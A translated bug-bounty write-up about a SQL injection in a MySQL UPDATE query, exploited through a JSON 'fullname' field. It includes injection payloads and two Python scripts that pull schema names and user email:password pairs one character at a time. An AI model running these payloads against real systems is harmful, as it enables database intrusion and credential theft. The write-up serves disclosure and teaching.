mysql 注入 update_UPDATE 查询中的 SQL 注入

今天,我介绍一个我最近发现的一个 SQL 注入漏洞。

在一个Hacking夜晚,依然像往常一样喝着我最爱的冰镇果汁,挑了一个 bug 比较多的程序,开始测试。

就像其他研究员一样,我四处测试 XSS payload。(通常用 '">

发生错误的地方是一个 full name 对话框,我紧接着尝试了 test'test ,同样产生了 500 错误,意味着由于单引号的问题导致该错误的发生。

意识到是这个问题后,我猜测服务器应该是构建 SQL 查询的时候没有对单引号进行转义。所以我尝试了手动转义(两个单引号)看会发生什么。我输入了 test''test ,我惊奇的发现错误不见了,而我的 full name 变为了 test'test' 。

由于该对话框是用来修改我的用户全称,故我猜测这是一个UPDATE查询语句。故我尝试了使用 '+@@VERSION+' ,刷新页面后,我的名字变为了 MySQL DBMS 的版本 5.6。

注意:由于这是一个 JSON request,故此处的 + 不会被替换为空格(%20)。

我上报了该问题不久之后,厂商回复了我,请求我进一步深入,同时从数据库中获得更多的信息。

使用这个 SQL 注入漏洞来获取更多数据似乎很难,因为当我尝试扩展查询时总是返回0,由于 MySQL 不支持使用 + 来连接两个字符串。

如果服务器是 SQL server,将会非常简单,我可以轻轻松松的使用 'x'+version()+'x' 来连接两个字符串,之后我的名字可能会变成 x5x 这样。(5是根据不同的版本不同)。

所以,别的 payload,像 'x'+user()+'x' ,将总是返回 0,由于用户名是一个 string,而 + 只能用来相加数字。

故,唯一可能的方法就是,通过转化为数字来获取string的值。因此,我使用了函数 ASCII() 来转化一个string到它对应的ASCII数字,之后我抓取返回结果,再将数字转换回 string。

`'+length(user())#`用来获取要接受的string的长度。

`'+ASCII(substr(user(),1))#`获取要接受的string的第一个字符。

`'+ASCII(substr(user(),2))#`获取要接受的string的第二个字符

`'+ASCII(substr(user(),3))#`获取要接受的string的第三个字符

以此类推。我写了一个脚本来实现这个过程:

import requests

rheaders = {} # Request headers

rcookies = {} # Request cookies

url = 'https:///api/v1/' # Vulnerable endpoint

len = 1000 # length of the string (using 1000 assuming that it won't be more than that,

going out of the string length will return 0 at that moment we know that we got the full

string)

column = 'schema_name' # what to return

table = 'information_schema.schemata' # from what

orderby = 'schema_name'

d=''

start = 0

end = 20

for l in range(start,end):

limit = l

print 'Retrieving '+column+' at row ' + str(limit+1) + '...'

if l > start and d == '':

break

d=''

for i in range(1,len):

r = requests.put(url, json={"fullname":"' ‐ (select

ASCII(substr("+column+","+str(i)+")) from "+table+" order by "+orderby+" limit

"+str(limit)+",1) #"},headers=rheaders,cookies=rcookies)

b = requests.get(url,cookies=rcookies).content.split('fullname":"',1)[1]

[:5] # Get the returned value

n = filter(lambda b:b>='0' and b<='9', b)

d += chr(int(n)) # Convert ASCII number to equivalent character

#print d

if n == '0':

print column + ' at row ' + str(limit+1)+' :‐ ', d

break

使用这个脚本,我可以通过修改’column’,’table’, ‘orderby’变量的值来轻易的获取到数据库的信息。以下是一个截图:

通过一些轻易的修改,我们可以获取到用户的邮件和密码:

运行脚本后截图:

import requests

rheaders = {}

rcookies = {}

d = ""

len = 1000

limit = 400000

print 'Retrieving email and pass at row', limit

for i in range(1,len):

r = requests.put(url, json={"fullname":"' ‐ (select

ASCII(substr(concat(email_address,0x3a,password),"+str(i)+")) from __users limit

"+str(limit)+",1) #"},headers=rheaders,cookies=rcookies)

b = requests.get(url,cookies=rcookies).content.split('fullname":"',1)[1][:5]

n = filter(lambda b:b>='0' and b<='9', b)

d += chr(int(n))

print d

if n == '0':

print "Email:Password :‐ ", d

break

本文由 看雪翻译小组 ghostway 编译,来源Mahmoud Jamal@Zombiehelp54

微信公众号 ID:ikanxue

微博:看雪安全

投稿、合作:看雪学院

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值